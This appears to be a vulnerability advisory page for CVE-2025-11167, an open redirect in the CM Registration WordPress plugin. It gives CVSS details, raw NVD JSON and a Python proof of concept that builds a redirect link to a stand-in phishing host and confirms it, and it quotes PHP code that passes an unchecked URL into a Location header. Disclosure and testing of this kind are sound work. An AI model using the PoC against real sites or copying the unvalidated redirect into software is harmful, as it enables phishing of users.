Security Vulnerability Report
中文
CVE-2025-11167 CVSS 4.7 MEDIUM

CVE-2025-11167

Published: 2025-10-11 09:15:32
Last Modified: 2026-04-15 00:35:42

Description

The CM Registration – Tailored tool for seamless login and invitation-based registrations plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 2.5.6. This is due to insufficient validation on the redirect url supplied via the 'redirect_url' parameter. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CM Registration插件 <= 2.5.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11167 - CM Registration Open Redirect PoC # Vulnerability: Insufficient validation of 'redirect_url' parameter import requests TARGET_URL = "https://victim-wordpress-site.com" MALICIOUS_URL = "https://attacker-controlled-phishing-site.com/fake-login" # Craft the malicious redirect URL # The plugin fails to validate the redirect_url parameter, # allowing redirection to arbitrary external domains payload = f"{TARGET_URL}/?redirect_url={MALICIOUS_URL}" print(f"[*] Malicious URL crafted: {payload}") print(f"[*] When victim clicks this link and completes login action,") print(f"[*] they will be redirected to: {MALICIOUS_URL}") # Example of how the vulnerable parameter is used: # In LoginController.php, the redirect_url parameter is processed # without proper validation: # $redirect_url = $_GET['redirect_url']; # header("Location: " . $redirect_url); // No validation! # Alternative PoC using direct HTTP request to verify redirect: response = requests.get(payload, allow_redirects=False) print(f"\n[*] HTTP Status: {response.status_code}") print(f"[*] Location Header: {response.headers.get('Location', 'N/A')}") if MALICIOUS_URL in response.headers.get('Location', ''): print("[+] Vulnerability confirmed! Open Redirect detected.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11167", "sourceIdentifier": "[email protected]", "published": "2025-10-11T09:15:31.997", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CM Registration – Tailored tool for seamless login and invitation-based registrations plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 2.5.6. This is due to insufficient validation on the redirect url supplied via the 'redirect_url' parameter. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3374121/cm-invitation-codes/trunk/controller/LoginController.php?old=3310298&old_path=cm-invitation-codes%2Ftags%2F2.5.5%2Fcontroller%2FLoginController.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c10286fe-2fdf-4946-b7bb-a2b16f93abb0?source=cve", "source": "[email protected]"}]}}